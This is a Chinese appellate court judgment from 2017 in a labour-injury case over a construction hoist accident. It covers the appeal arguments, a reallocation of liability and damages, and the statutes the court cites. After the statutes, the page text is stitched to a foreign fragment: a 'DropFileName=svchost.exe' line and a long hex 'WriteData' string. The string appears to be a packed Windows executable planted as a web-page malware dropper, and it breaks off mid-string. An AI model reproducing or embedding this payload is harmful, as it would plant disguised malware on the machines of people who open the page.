海南省海口市中级人民法院
p t ; ” > 民 事 判 决 书
（2017）琼01民终3566号
上诉人（原审被告）：柯行华，男，1961年7月10日出生，汉族，住海口市。
委托诉讼代理人：杜聪，海南法立信律师事务所律师。
上诉人（原审被告）：吴乾坤，男，1969年8月29日出生，汉族，住海口市。
委托诉讼代理人：蔡兴照，海南以宽律师事务所律师。
被上诉人（原审原告）：杨碧琼，女，1964年4月15日出生，汉族，住海口市。
委托诉讼代理人：林奕材，海南海新律师事务所律师。
委托诉讼代理人：欧云斌，海南海新律师事务所律师。
上诉人柯行华、吴乾坤因与被上诉人杨碧琼提供劳务者受害责任纠纷一案，不服海口市美兰区人民法院(2016)琼0108民初1397号民事判决，向本院提起上诉。本院于2017年10月19日立案受理后，依法组成合议庭对本案进行审理。本案现已审理终结。
柯行华上诉请求：1.撤销一审判决第一项，并依法改判驳回对被上诉人的一审诉讼请求；2.上诉费用由被上诉人杨碧琼承担。事实和理由：上诉人柯行华所有的位于海口市××镇，因居住需要加建一层半。吴乾坤是从事农村房屋建筑的工匠，上诉人柯行华因此找吴乾坤并于2015年11月28日签订《建房协议书》，约定上诉人柯行华以包工不包料的方式，将房屋建设工程交给吴乾坤施工，工期30天，施工期间吴乾坤必须做好安全防护工作，严禁违规操作。《建房协议书》签订后，吴乾坤延误了一段时间才组织工人进场。被上诉人杨碧琼受伤后其丈夫找到上诉人柯行华，柯行华才知道是吴乾坤雇佣了杨碧琼的丈夫李某砌墙，李某就带其妻子杨碧琼一起到工地干活。被上诉人杨碧琼跟随李某干活才2天，就因操作升降机时疏忽大意，违规用脚去挑拨钢丝绳而发生了右足趾被绞伤的意外事故。一审法院根据此事实认定被上诉人杨碧琼承担20%的责任，李某没有责任，吴乾坤承担80%的责任。上诉人柯行华由此认为，一审法院对责任认定的划分不但显失公平公正，而且适用《关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第二款”雇员在从事雇佣活动中因安全生产事故遭受人身损害，发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任。”判决上诉人柯行华与吴乾坤向杨碧琼赔偿医疗费、误工费等合计人民币114544.73元时又没有明确上诉人柯行华承担的是连带责任还是按份责任，故上诉人认为一审判决存在以下错误，请求二审法院予以改判。具体如下：一、对被上诉人杨碧琼违规施工受伤的责任划分显失公平公正，被上诉人杨碧琼应承担此次事故的主要责任。本案中吴乾坤在施工现场提供的升降机，虽然没有进行检修检测，但这不是致人伤害的真正原因，也不是被上诉人杨碧琼右足趾被绞伤的充分条件。被上诉人杨碧琼右足趾被绞伤的真正原因在于其操作升降机过程中，不规范操作造成钢丝绳松动脱离滚筒，钢丝绳脱离滚筒时应关闭控制开关后将钢丝绳复位后再操作升降机升降但杨碧琼却是一边用手摁住开关控制升降机升降一边用脚而不是借助工具挑拨钢丝绳复位从而被钢丝绳绞伤。由此可见，被上诉人杨碧琼未尽安全注意义务，对用脚挑拨高速拉动中的钢丝绳致伤的险情可以预见并可以避免但因疏忽大意没有预见和避免，本身负有重大过错，应承担主要责任。一审法院忽视了事故发生的充分条件是被上诉人杨碧琼违规用脚操作这一事实。升降机本身存在不规范操作就会发生钢丝绳松动的安全隐患只是促使事故的发生具备了可能性条件，但最终伤害的发生根本原因还是因为升降机运转时违规用脚挑拨钢丝绳这一行为，因此不管是在主观上还是客观行为上，被上诉人杨碧琼都负有重大的过错和责任，一审判决被上诉人杨碧琼仅负担20%责任，显然过轻，违背了公平公正原则。二、一审认为上诉人柯行华知道吴乾坤没有相应的施工资质仍将涉案工程发包给吴乾坤施工不正确。首先，在农村建筑一栋3层楼房，要聘请正规的施工企业施工，不但小题大做而且请不到做如此小规模工程的施工企业。依照现行的建筑法律法规，对两三层以上农村住宅的建设，是否必须要由有建筑施工企业资质的施工队承建，法律无禁止性规定，应当推定农村低层住宅建筑活动可以由个体工匠承揽，事实上，农村中低层房屋的建筑并不需要较高的专业技术水平，农民们也大都愿意将房屋交给他们比较信任的有一定技术水平和建房经验的工匠来做，海南的农村建房大都如此，上诉人柯行华本人也不例外，只知道吴乾坤是有多年农村建房经验和施工技术的工匠，根本不知道吴乾坤有没有施工资质。一审法院要求房主必须选任具备资质的承建人是不现实的，将此义务加于房主身上也是有失公允的。曾经对农村建筑房屋的建筑活动进行规范和管理的《村镇建筑工匠从业资格管理办法》（1996）已于2004年7月2日失效，因此，我国对农村建筑资质没有规定，一审认定上诉人柯行华知道吴乾坤没有相应的施工资质是错误的。其次，从本案事实上来看，上诉人柯行华是在农村自建住宅，而不是在城市进行房屋建设。这一特定的事实，与合同法、建筑法上将建设工程施工合同的双方主体限定在有一定资质和一定注册资金的单位有着明显的区别，且《建筑法》第八十三条明确规定”抢险救灾及其他临时性房屋建筑和农民自建低层住宅的建筑活动，不适用本法”，所以，农村低层建筑活动属于农村建筑承揽施工关系，应按照一般承揽活动对待，而不能按照建设工程施工法律关系处理。因此，本案中柯行华与吴乾坤签订的建房合同不是建设工程施工合同，而是一般承揽合同，一审法院认为吴乾坤承包涉案楼房的建设需要施工资质是错误的。三、上诉人柯行华没有过错或过失，不应承担114544.73元的赔偿责任或连带责任。首先，如前所述，本案中上诉人柯行华与吴乾坤所签订的建房协议不是建设工程施工合同，而是一般承揽合同。因此应适用最高人民法院《关于审理人身损害赔偿案件适用法律若干问题的解释》第十条的规定：”承揽人在完成工作过程中对第三人造成损害或者造成自身损害，定作人不承担赔偿，定作人对定作、选任、指示有过失的，应当承担相应的赔偿责任”，而不是《关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第二款”雇员在从事雇佣活动中因安全生产事故遭受人身损害，发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任。”的规定。其次，上诉人柯行华将房屋建设交给吴乾坤负责，吴乾坤就是整个建筑活动过程的现场监管人，《建房协议书》第9条约定”施工期间吴乾坤必须做好安全防护工作，严禁违规操作”的内容也证明了吴乾坤是现场施工的监管人，负有安全监督责任。被上诉人杨碧琼受伤时，上诉人柯行华不在现场，因为不是现场的安全监督人，不应承担现场施工的安全责任，而且这个现场施工的安全已明确由吴乾坤负责。而且被上诉人杨碧琼受伤的升降机是吴乾坤提供的，并非是上诉人柯行华提供的。上诉人也没有发出任何错误的指示，与被上诉人杨碧琼受伤存在因果关系。因此，根据最高人民法院《关于审理人身损害赔偿案件适用法律若干问题的解释》第十条”定作人对定作、选任、指示有过失的，应当承担相应的赔偿责任”的规定，上诉人柯行华作为定作人不存在对定作、选任、指示有过失的情形，因此不应承担赔偿责任。再次，假设一审判决适用《关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条”发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任”的规定是正确的，判决内容中应当承担连带责任这一项，而不是判决”被告吴乾坤、柯行华于本判决生效之日起二十日内向原告杨碧琼赔付医疗费、误工费等合计人民币114544.73元”。被上诉人杨碧琼的一审诉讼请求是要求柯行华承担赔偿责任而不是连带责任，一审法院适用法律认为柯行华应承担连带责任但杨碧琼没有诉求的，应按不告不理的原则驳回杨碧琼对柯行华的诉讼请求。但是一审法院为附和原告的诉讼请求却判决上诉人柯行华承担了赔偿责任而不是连带责任。连带责任和赔偿责任是有本质区别的民事责任，上诉人承担连带责任是有追偿权的，但赔偿责任是没有追偿权的，因此，一审法院的判决存在错误，请求二审予以改判。综上所述，一审法院判决被上诉人杨碧琼承担20%的责任过轻且判决上诉人柯行华承担赔偿114544.73元没有事实和法律依据，请求二审支持上诉人的上诉请求。
杨碧琼对柯行华的上诉辩称，一审法院判决认定事实清楚，适用法律正确。1.关于责任划分问题，在一审时上诉人也在庭审中承认了在涉案现场没有对升降机进行任何的检修、检测；而该升降机也没有任何检验合格证明且两上诉人对该升降机的操作也没有具体的明示，升降机旁也没有相应的警示告示牌。所以一审法院为此认定上诉人承担80%主要责任，认定事实清楚。2.关于是否适用建设工程施工合同相关法律问题，涉案房屋是在××镇的房屋，该房屋是否办理了相关的报建手续一审法院没有进行查明，按照相应的法律法规涉案房屋应当进行报建，但本案涉案房屋仍然没有报建，该建筑属于违建。根据《中华人民共和国侵权责任法》第三十五条、《最高人民法院关于审理人身损害赔偿若干问题解释》第十一条规定，上诉人应当承担连带责任，一审法院适用法律正确，共同承担赔偿责任就包含了所谓的连带赔偿责任，综上，一审法院认定事实清楚，适用法律正确。
吴乾坤对柯行华的上诉辩称，1.我方认同上诉人柯行华提出的关于责任认定的问题，杨碧琼从事这个行业多年，升降机是双方都认真检查过，符合使用的条件下才交付使用了，在使用过程中还没有停电，自己用脚来挑拨升降机的绳子而导致自己受伤，应对自己的行为承担主要责任。2.我方不同意认定为承揽关系，依据建筑法的规定，房屋建设必须要有资质的人员才可以承揽，上诉人柯行华和吴乾坤之间是工程发包关系，而不是承揽关系。依据法律规定应该以雇主承担连带责任，我方也认可一审法院认定的上诉人柯行华承担连带责任。
吴乾坤上诉请求：1.请求撤销海口市美兰区人民法院（2016）琼0108民初1397号的一项判决，依法改判；2.本案的一审、二审诉讼费用由被上诉人承担。事实和理由：一、一审法院遗漏诉讼当事人，审理程序错误。2015年11月28日上诉人与一审被告人柯行华签订《建房协议书》，承包柯行华位于海口市××区的房屋建筑，之后上诉人吴乾坤将该项目的砌墙部分分包给李某，工程款上诉人吴乾坤与李某依据工程进度结算。李某雇用工人到现场施工，支付工人劳务报酬，并负责对施工现场人员的管理。被上诉人杨碧琼是受李某雇佣为其提供劳务，与李某个人之间形成劳务关系。依据《中华人民共和国侵权责任法》第三十五条”个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据双方各自的过错承担相应的责任”和《最高人民法院关于审理人身损害赔偿案件适用法律若干解释》第十一条”雇员在从事雇佣活动中遭到人身损害，雇主应承担赔偿责任，......雇员在从事雇佣活动中因安全生产事故遭受人身损害，发包方、分包方知道或者应当知道接受发包或者分包业务没有相应的资质或者安全生产条件的，应当与雇主承担连带赔偿责任。”被上诉人杨碧琼的损害赔偿责任，应由自己和雇主李某之间根据各自的过错承担相应的责任，发包人柯行华、分包人吴乾坤与雇主李某承担连带赔偿责任，一审法院未将雇主李某列为被告，审理程序存在错误。二、一审法院认定上诉人承担80%的赔偿责任没有事实和法律依据。上诉人吴乾坤与被上诉人杨碧琼没有劳务关系，上诉人吴乾坤将工程分包给李某，向其提供的施工设备是经过双方现场安装调试，使用正常才交付，并进行安全操作提醒，对现场施工的安全防范应由李某负责，被上诉人杨碧琼在提供劳务过程中自己受到损害，应由接受劳务的一方李某与被上诉人杨碧琼自己的过错大小承担各自的责任。被上诉人是有完全行为能力的成年人，从事建筑行业多年，熟悉施工设备升降机使用方法，在提供劳务过程中自己对设备的操作不当也是造成这起事故的这重要原因，自身应承担相应的过错责任，上诉人吴乾坤认为其承担的责任应不低于40%。三、被上诉人杨碧琼主张的损失赔偿中部分没有事实依据，存在重复计算，不应支持。被上诉人杨碧琼主张的交通费500元没有提交相应的证据证明，不应得到支持；残疾赔偿金和精神抚慰金重复计算，依据《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第九条规定”精神损害抚慰金包括以下方式：（一）致人残疾的，为残疾赔偿金；......”，精神抚慰金就是残疾赔偿金，一审法院支持了残疾赔偿金65148元，同时又支持精神抚慰金10000元，重复计算。综上所述，一审法院审理程序错误，事实不清，适用法律错误，对赔偿项目及金额计算错误，请求二审法院撤销一审判决，依法改判。
杨碧琼对吴乾坤的上诉辩称，1.关于精神损害抚慰金问题法院有相应的审理标准，按照法院审理标准进行判决，不做更多赘述。2.关于案外人李某之间的关系是否是发包关系。李某与被上诉人杨碧琼是夫妻关系，在一审开庭时李某也出庭了，开庭时吴乾坤也要求李某作为被告，而当庭被法庭驳回了；且吴乾坤一审时没有提供任何证据证明其与李某之间是分包合同关系，无论是李某，还是被上诉人，与上诉人之间确定的就是劳务关系，一审法院在此认定的事实是正确的。一审中上诉人也明确表示该升降机没有任何检验合格标识，也从未做过任何检修、检测等，没有任何的安全提示，所以一审法院认定上诉人承担80%主要责任是正确的。3.上诉人吴乾坤也认可了一审法院关于承担连带责任的判决，而上诉人吴乾坤又要求撤销一审判决，存在相互矛盾的事实。综上，一审法院认定事实清楚，适用法律正确。
杨碧琼向一审法院起诉请求：一、被告吴乾坤、柯行华赔偿原告：1.住院伙食补助费：1300元；2.护理费：13500元；3.误工费：18526元；4.交通费：500元；5.残疾赔偿金：158136元；6.营养费：9000元；7.精神损害抚慰金：20000元；8.医疗费：33991.53元；9.司法鉴定费：3000元；10.后期治疗费：3000元。上述共计：260953.53元；二、本案诉讼费由两被告承担。
一审法院认定事实：2015年11月28日，柯行华与吴乾坤签订《建房协议书》，约定柯行华将位于海口市××区号房屋建筑工程，以包工不包料方式，发包给吴乾坤进行施工，施工期间吴乾坤必须做好安全防护工作。协议签订后，柯行华向吴乾坤预付建房款人民币57995元，吴乾坤承包上述工程后，雇请杨碧琼及其丈夫李某军等工人到文东二巷20号工地进行施工。2015年12月25日，杨碧琼在上述工地操作升降机作业时，不慎被升降机夹绞伤右足趾、右下肢，事发后被送往海南省人民医院救治，入院诊断为：1.第1-4足趾撕脱离断伤；2.右第1-5趾开放性趾骨骨折；3.右足、右小腿皮肤软组织挫裂伤。住院治疗至2016年1月20日共26天，共花医疗费人民币33983.63元。2016年12月1日，海南省人民医院法医鉴定中心作出司法鉴定意见书，杨碧琼因机器绞伤致右下肢损伤构成八级伤残，后续治疗费用约需3000元，”三期”综合评定为：休息期180天、护理期90天、营养期90天，自受伤之日起计算。鉴定费人民币2900元，另查明，杨碧琼住院治疗期间由其儿子进行护理，杨碧琼及其儿子均为农民，没有固定的收入。吴乾坤没有取得相应的施工资质，在承包涉案工程施工期间，对施工设备升降机未进行过检修、检测，对操作人员没有进行培训及安全操作提醒。案经调解无效。
一审法院认为，一、关于赔偿项目及数额的认定问题。1.医疗费：33983.63元。根据医疗机构出具的医药费、住院费等收款凭证，结合病历、出院记录等相关证据确定。杨碧琼住院治疗26天，共花医疗费人民币33983.63元，有相关病历及费用清单、发票为凭，一审法院予以认定。2.误工费14566.19元。杨碧琼没有固定收入，且未举证证明其最近三年的平均收入状况，根据海南省人民医院法医鉴定中心的意见休息期180天。参照海南省相近行业上一年度职工的平均工资计算为14566.19元（29537元/年÷365天×180天）。3.护理费7283.09元。杨碧琼没有提供证据证明护理人员的收入状况，护理费参照海南省相近行业上一年度职工的平均工资计算为7283.09元（29537元/年÷365天×90天）。4.交通费500元。杨碧琼虽未提供交通票据，但鉴于杨碧琼因就医已实际支付交通费，且其主张数额500元符合就医的实际情况，一审法院予以认可。5.住院伙食补助费1300元。参照当地国家机关一般工作人员的出差伙食补助标准50元/天计算，杨碧琼住院治疗26天，住院伙食补助费应为1300元（50元/天×26天）。6.营养费4500元。杨碧琼受伤构成伤残，确有必要加强营养促进康复，根据鉴定意见确定营养期90天，参照住院伙食补助标准计算应为4500元（50元/天×90天）。7.残疾赔偿金65148元。杨碧琼构成八级伤残，其系农民，没有举证证明其在城镇生活并且主要收入来源于城镇，应按照海南省上一年度农村居民人均纯收入标准计算，残疾赔偿金为65148元（10858元×20年×30%）。8.精神损害抚慰金10000元。杨碧琼在本事故中所受损害已致伤残，致使精神遭受损害，因此，杨碧琼诉请精神损害抚慰金于法有据，一审法院予以支持。其主张20000元过高，根据本案实际情况，一审法院酌调为10000元。9.鉴定费2900元。杨碧琼主张鉴定费已提供了鉴定费票据，该费用系杨碧琼因遭受人身损害主张权利所产生的费用，应由柯行华、吴乾坤承担，鉴定费数额以鉴定费票据载明的2900元为准。10.后期治疗费3000元。海南省人民医院法医鉴定中心评定原告后续治疗费用约3000元，该费用经鉴定属于必然产生的医疗费用，一审法院予以支持。以上十项费用合计人民币143180.91元。二、关于赔偿主体及民事责任的承担问题。根据《中华人民共和国侵权责任法》第三十五条”个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据双方各自的过错承担相应的责任”的规定。被告吴乾坤与原告之间形成劳务关系，原告作为提供劳务一方自己受到损害，根据双方各自的过错承担相应的责任。本案吴乾坤作为接受劳务一方，对自身施工设备未进行检修、检测，对施工场所及人员没有采取任何安全防护措施，未尽到安全保障义务，是造成本次事故的主要原因，存在重大过错，据此，应承担80%的赔偿责任。柯行华知道吴乾坤没有相应的施工资质，仍将涉案工程发包给吴乾坤施工，根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条”发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任”的规定，柯行华应当与吴乾坤共同承担赔偿责任。杨碧琼作为完全民事行为能力人，在提供劳务过程中存在对自己安全注意不够的过错，对此其自身应承担20%的责任。综上所述，杨碧琼的各项损失合计人民币143180.91元，吴乾坤、柯行华应承担的赔偿责任为114544.73元（143180.91元×80%=114544.73元）。综上，依照《中华人民共和国侵权责任法》第十六条、第三十五条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第二款、《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第八条第二款的规定，判决如下：一、被告吴乾坤、柯行华于本判决生效之日起二十日内，向原告杨碧琼赔付医疗费、误工费等合计人民币114544.73元；二、驳回原告杨碧琼其他诉讼请求。案件受理费人民币1805元，由原告负担905元，由二被告负担900元。
二审中，当事人没有提交新证据。
二审查明的事实与一审查明的事实一致。
本院认为，本案争议的焦点问题是：一、关于是否应当追加李某为本案共同被告的问题；吴乾坤系从事私宅承揽工程的包工头，李某及其妻子杨碧琼曾经跟随吴乾坤在其他工地干工。吴乾坤承揽柯行华私宅建筑工程后，仍然雇佣李某、杨碧琼到工地干活。因此，应认定吴乾坤系雇主，李某、杨碧琼系雇员。吴乾坤主张其将砌墙项目分包给李某，但又不能提供项目分包合同等证据证明，应当承担举证不能的法律后果。虽然吴乾坤在支付工资时是直接支付给李某，杨碧琼的工资由李某一起领取。但李某代杨碧琼领取工资，是基于其双方存在夫妻关系的原因，不是李某承揽工程后又雇佣杨碧琼，赚取杨碧琼的劳动价值。因此，吴乾坤与李某、杨碧琼的关系属于雇佣与被雇佣的关系，吴乾坤与李某不存在劳务分包关系。因此，杨碧琼直接起诉吴乾坤，没有起诉其丈夫李某，系其对自身诉讼权利的处分，并无不当。吴乾坤上诉认为应当追加李某为本案共同被告，理由不能成立，本院不予支持。
二、关于柯行华的责任认定问题；柯行华是涉案房屋的业主，其将其私宅加层建设工程发包给吴乾坤承包施工，应当依约履行合同规定的权利义务。由于《中华人民共和国建筑法》第八十三条第三款规定，抢险救灾及其他临时性房屋建筑和农民自建低层住宅的建筑活动，不适用建筑法。因此，对建设农村私宅的低层房屋，对承包人的建筑资质没有硬性要求。吴乾坤系在农村从事建筑的包工头，具有从事农村房屋建设的经历，柯行华将其私宅建设工程发包给吴乾坤，并未违反法律强制性规定，双方签订的合同合法有效，应受法律保护。《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第二款规定，雇员在从事雇佣活动中因安全生产事故遭受人身损害，发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任。根据该条规定，作为发包人的柯行华要承担连带赔偿责任的前提是知道或者应当知道吴乾坤没有相应资质或者安全生产条件。但如前所述，农村建房对承包人的建筑资质并没有硬性的要求，所以，不存在吴乾坤是否应当具备相应资质的问题。因此，一审法院以吴乾坤没有相应的建筑施工资质为由，判令柯行华承担连带赔偿责任，确有不当，应予纠正。但杨碧琼是在为柯行华房屋建设中受到伤害，虽然杨碧琼是受雇于吴乾坤，吴乾坤有监督其施工的责任和义务，但柯行华作为房东，对施工工人的安全生产也负有一定的监督责任。因此，综合本案各方实际，柯行华应对杨碧琼的损害承担20%赔偿责任。
三、关于吴乾坤责任认定问题；吴乾坤承揽柯行华的私宅建设工程后，雇佣杨碧琼到工地干活，与杨碧琼形成劳务关系。《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第一款规定，雇员在从事雇佣活动中遭受人身损害，雇主应当承担赔偿责任。因此，吴乾坤作为杨碧琼的雇主，应当对杨碧琼遭受的人身损害承担赔偿责任。鉴于杨碧琼自身也有过错，吴乾坤的赔偿责任可以适当减轻。综合本案各方实际，吴乾坤应承担50%的赔偿责任。
四、关于杨碧琼的责任认定问题；杨碧琼作为从事建筑施工的完全行为能力人，应当意识到自己的行为后果。杨碧琼在操作升降机过程中，用脚去拨弄钢丝绳，导致右脚受伤致残，存在一定的过错，应承担一定的过错责任。根据《中华人民共和国侵权责任法》第三十五条规定，个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据各自的过错承担相应的责任。因此，综合本案各方实际，杨碧琼应自行承担30%的责任。一审判决其承担20%的责任过低，应予调整。
五、关于赔偿项目交通费、精神损害抚慰金是否应当支付及各方应承担的赔偿数额问题；根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条的规定，交通费是受害人遭受人身损害后赔偿义务人应当赔偿的项目之一。第二十二条规定，交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。本案中，受害人杨碧琼虽然没有提供正式的交通费票据，但杨碧琼往来医院就医必然发生交通费用，一审判决妥情按500元计，合情合理。所以，本院应予支持。根据《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第九条的规定，精神损害抚慰金包括以下方式：（一）致人残疾的，为残疾赔偿金；（二）致人死亡的，为死亡赔偿金；（三）其他损害情形的精神抚慰金。本案中，杨碧琼在事故中被鉴定为八级伤残。由于残疾赔偿金是承担精神损害赔偿金的一种方式之一。赔偿了残疾赔偿金，就不应再赔偿精神损害抚慰金。因此，一审判决赔偿残疾赔偿金65148元外，又判决赔偿精神怃慰金1万元，确有不当，应予纠正。其他赔偿项目，一审判决认定清楚，计算正确，本院应予维持。减去精神损害抚慰金1万元后，杨碧琼各项损失共计133180.91元，由杨碧琼自行负担30%，即39954.28元，由柯行华负担20%即26636.19元，由吴乾坤负担50%即66590.46元。
综上所述，一审认定事实清楚，但适用法律不当，应予纠正。上诉人的部分上诉请求成立，应予支持。依照《中华人民共和国侵权责任法》第十六条、第二十六条、第三十五条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条第一款、第十七条第一款、第二款、第二十二条、《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》第九条和《中华人民共和国民事诉讼法》第一百七十条第一款第二项规定，判决如下：
一、撤销海口市美兰区人民法院（2016）琼0108民初1397号民事判决；
二、限吴乾坤在本判决生效之日起十日内赔偿杨碧琼各项经济损失66590.46元；
三、限柯行华在本判决生效之日起十日内赔偿杨碧琼各项经济损失26636.19元；
四、驳回杨碧琼的其他诉讼请求。
一审案件受理费1805元，由吴乾坤负担50%即902.5元，柯行华负担20%即361元，杨碧琼负担30%即541.5元。二审案件受理费1073元，由吴乾坤负担50%即536.5元，柯行华负担20%即214.6元，杨碧琼负担30%即321.9元。
本判决为终审判决。
审判长李家林
审判员林梅
审判员刘华琪
二○一七年十一月二十七日
法官助理廖敏
书记员李杰
附相关法律条文：
《中华人民共和国侵权责任法》
第十六条侵害他人造成人身损害的，应当赔偿医疗费、护理费、交通费等为治疗和康复支出的合理费用，以及因误工减少的收入。造成残疾的，还应当赔偿残疾生活辅助具费和残疾赔偿金。造成死亡的，还应当赔偿丧葬费和死亡赔偿金。
第二十六条被侵权人对损害的发生也有过错的，可以减轻侵权人的责任。
第三十五条个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据双方各自的过错承担相应的责任。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十一条雇员在从事雇佣活动中遭受人身损害，雇主应当承担赔偿责任。雇佣关系以外的第三人造成雇员人身损害的，赔偿权利人可以请求第三人承担赔偿责任，也可以请求雇主承担赔偿责任。雇主承担赔偿责任后，可以向第三人追偿。
雇员在从事雇佣活动中因安全生产事故遭受人身损害，发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任。
属于《工伤保险条例》调整的劳动关系和工伤保险范围的，不适用本条规定。
第十七条受害人遭受人身损害，因就医治疗支出的各项费用，以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所支出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费以及因康复护理继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据抢救治疗情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭。有关凭据应当与就医地点、时间、人数、次数相符合。
《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》
第九条精神损害抚慰金包括以下方式：
（一）致人残疾的，为残疾赔偿金；
（二）致人死亡的为死亡赔偿金；
（三）其他损害情形的精神抚慰金。
《中华人民共和国民事诉讼法》
第一百七十条第二审人民法院对上诉案件，经过审理，按照下列情形，分别处理：
（一）原判决、裁定认定事实清楚，适用法律正确的，以判决、裁定方式驳回上诉，维持原判决、裁定；
（二）原判决、裁定认定事实错误或者适用法律错误的，以判决、裁定方式依法改判、撤销或者变更；
（三）原判决认定基本事实不清的，裁定撤销原判决，发回原审人民法院重审，或者查清事实后改判；
（四）原判决遗漏当事人或者违法缺席判决等严重违反法定程序的，裁定撤销原判决，发回原审人民法院重审。
原审人民法院对发回重审的案件作出判决后，当事人提起上诉的，第二审人民法院不得再次发回重审。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A